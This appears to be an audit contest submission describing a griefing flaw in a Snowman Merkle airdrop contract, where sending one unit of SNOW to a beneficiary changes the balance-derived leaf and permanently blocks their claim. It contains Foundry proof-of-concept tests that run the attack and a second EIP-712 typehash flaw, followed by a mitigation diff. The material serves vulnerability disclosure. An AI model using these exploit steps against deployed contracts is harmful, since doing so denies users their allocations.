Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

[M-01] Sending 1 unit of SNOW to a beneficiary permanently blocks their airdrop claim

Root + Impact

Description

  • An address included in the Merkle tree should be able to claim its allocation; the proof and signature are supposed to remain valid.

  • The leaf and digest are derived from the live balanceOf(receiver). Since SNOW is a plain ERC20, anyone can transfer 1 unit to a beneficiary, changing their balance so the computed leaf is no longer in the tree and every proof fails. Receiving an ERC20 cannot be prevented.

@> uint256 amount = i_snow.balanceOf(receiver); // live balance, attacker-mutable
@> bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) revert SA__InvalidProof();Risk

Risk

Likelihood:

  • Anyone transfers 1 wei of SNOW to any beneficiary; the token can be obtained for free via earnSnow, so the grief costs nothing.

  • It can be front-run against the victim's own claim transaction.

Impact:

  • Any beneficiary can be permanently denied their airdrop by a third party.

  • Applied to the whole list, the entire airdrop is disabled.

Proof of Concept

The test first confirms Alice can claim (1 NFT) and reverts state; then a third party sends her 1 unit of SNOW. Afterwards claimSnowman reverts with SA__InvalidProof and Alice is permanently unable to claim her airdrop.

Verified with Foundry (test_polvoDeSnowBloqueaElClaimDeUnBeneficiarioLegitimo), forge test passing:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Helper} from "../script/Helper.s.sol";
/// @notice Dos fallos que nacen de la misma raíz: la elegibilidad se calcula sobre estado
/// MUTABLE (`balanceOf` en vivo) y el typehash EIP-712 no es el canónico.
contract GriefYTypehashTest is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
Helper deployer;
bytes32[] AL_PROOF = [
bytes32(0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52),
bytes32(0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af),
bytes32(0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1)
];
address alice;
uint256 alKey;
address atacante;
function setUp() public {
deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
(alice, alKey) = makeAddrAndKey("alice");
atacante = makeAddr("atacante");
}
/// [M] Cualquiera puede impedir que un beneficiario legítimo reclame, enviándole 1 wei
/// de SNOW: el leaf se deriva de `balanceOf(receiver)`, así que al cambiar el balance la
/// hoja deja de estar en el árbol y la prueba se vuelve inválida.
function test_polvoDeSnowBloqueaElClaimDeUnBeneficiarioLegitimo() public {
// alice podría reclamar sin problema: comprobamos la firma ANTES del ataque
bytes32 digestLimpio = airdrop.getMessageHash(alice);
(uint8 v0, bytes32 r0, bytes32 s0) = vm.sign(alKey, digestLimpio);
uint256 snapshot = vm.snapshotState();
vm.prank(alice);
snow.approve(address(airdrop), 1);
airdrop.claimSnowman(alice, AL_PROOF, v0, r0, s0);
assertEq(nft.balanceOf(alice), 1, "sin ataque, alice reclama sin problema");
vm.revertToState(snapshot);
// --- el ataque: 1 unidad de SNOW no solicitada ---
uint256 fee = snow.s_buyFee();
vm.deal(atacante, 10 ether);
vm.startPrank(atacante);
snow.buySnow{value: fee}(1);
snow.transfer(alice, 1); // polvo
vm.stopPrank();
assertEq(snow.balanceOf(alice), 2, "alice tiene 1 de mas, sin haberlo pedido");
// La firma antigua ya no vale (el digest depende del balance) y la nueva tampoco
// sirve: el leaf calculado es keccak(alice, 2) y ese no esta en el arbol.
bytes32 digestSucio = airdrop.getMessageHash(alice);
assertTrue(digestLimpio != digestSucio, "el digest cambia con el balance");
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, digestSucio);
vm.prank(alice);
snow.approve(address(airdrop), 2);
vm.expectRevert(); // SA__InvalidProof
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 0, "alice se queda sin su airdrop");
console2.log("coste del ataque (wei):", fee);
}
/// [M] Una wallet real (MetaMask, ethers, viem) construye el digest EIP-712 a partir del
/// struct, usando el `encodeType` CANÓNICO. Aquí se reproduce exactamente ese cálculo y se
/// comprueba que el contrato RECHAZA la firma resultante: el flujo de firma es inservible
/// fuera de los tests del propio proyecto, que llaman a `getMessageHash()` y por tanto
/// heredan el typehash equivocado en vez de detectarlo.
function test_unaFirmaEip712CorrectaEsRechazadaPorElContrato() public {
uint256 amount = snow.balanceOf(alice);
assertEq(amount, 1, "alice es beneficiaria");
// --- lo que hace una wallet estandar: encodeType canonico, sin espacios ---
bytes32 typehashCanonico = keccak256("SnowmanClaim(address receiver,uint256 amount)");
bytes32 structHash = keccak256(abi.encode(typehashCanonico, alice, amount));
// dominio EIP-712 del contrato: name "Snowman Airdrop", version "1"
bytes32 domainSeparator = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes("Snowman Airdrop")),
keccak256(bytes("1")),
block.chainid,
address(airdrop)
)
);
bytes32 digestDeWallet = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
// el digest que calcula el contrato NO coincide con el de la wallet
bytes32 digestDelContrato = airdrop.getMessageHash(alice);
assertTrue(digestDeWallet != digestDelContrato, "los digests divergen");
// alice firma correctamente segun el estandar... y aun asi no puede reclamar
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, digestDeWallet);
vm.prank(alice);
snow.approve(address(airdrop), amount);
vm.expectRevert(); // SA__InvalidSignature
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 0, "firma valida segun EIP-712 y rechazada igualmente");
// control: firmando el digest ERRONEO del contrato si funciona
(uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, digestDelContrato);
airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2);
assertEq(nft.balanceOf(alice), 1, "solo cuela quien replica el typehash mal escrito");
}
}

Recommended Mitigation

Fix the allocation in the Merkle leaf: pass amount as a parameter instead of reading the live balanceOf, so a dust transfer can no longer change it:

-function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
+function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
{
- uint256 amount = i_snow.balanceOf(receiver);
+ // amount now comes from the Merkle tree, not from the live balance
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
}

getMessageHash must take the same fixed amount.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-01] DoS to a user trying to claim a Snowman

# Root + Impact ## Description * Users will approve a specific amount of Snow to the SnowmanAirdrop and also sign a message with their address and that same amount, in order to be able to claim the NFT * Because the current amount of Snow owned by the user is used in the verification, an attacker could forcefully send Snow to the receiver in a front-running attack, to prevent the receiver from claiming the NFT.  ```Solidity function getMessageHash(address receiver) public view returns (bytes32) { ... // @audit HIGH An attacker could send 1 wei of Snow token to the receiver and invalidate the signature, causing the receiver to never be able to claim their Snowman uint256 amount = i_snow.balanceOf(receiver); return _hashTypedDataV4( keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount}))) ); ``` ## Risk **Likelihood**: * The attacker must purchase Snow and forcefully send it to the receiver in a front-running attack, so the likelihood is Medium **Impact**: * The impact is High as it could lock out the receiver from claiming forever ## Proof of Concept The attack consists on Bob sending an extra Snow token to Alice before Satoshi claims the NFT on behalf of Alice. To showcase the risk, the extra Snow is earned for free by Bob. ```Solidity function testDoSClaimSnowman() public { assert(snow.balanceOf(alice) == 1); // Get alice's digest while the amount is still 1 bytes32 alDigest = airdrop.getMessageHash(alice); // alice signs a message (uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest); vm.startPrank(bob); vm.warp(block.timestamp + 1 weeks); snow.earnSnow(); assert(snow.balanceOf(bob) == 2); snow.transfer(alice, 1); // Alice claim test assert(snow.balanceOf(alice) == 2); vm.startPrank(alice); snow.approve(address(airdrop), 1); // satoshi calls claims on behalf of alice using her signed message vm.startPrank(satoshi); vm.expectRevert(); airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS); } ``` ## Recommended Mitigation Include the amount to be claimed in both `getMessageHash` and `claimSnowman` instead of reading it from the Snow contract. Showing only the new code in the section below ```Python function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { ... bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert SA__InvalidProof(); } // @audit LOW Seems like using the ERC20 permit here would allow for both the delegation of the claim and the transfer of the Snow tokens in one transaction i_snow.safeTransferFrom(receiver, address(this), amount); // send ... } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!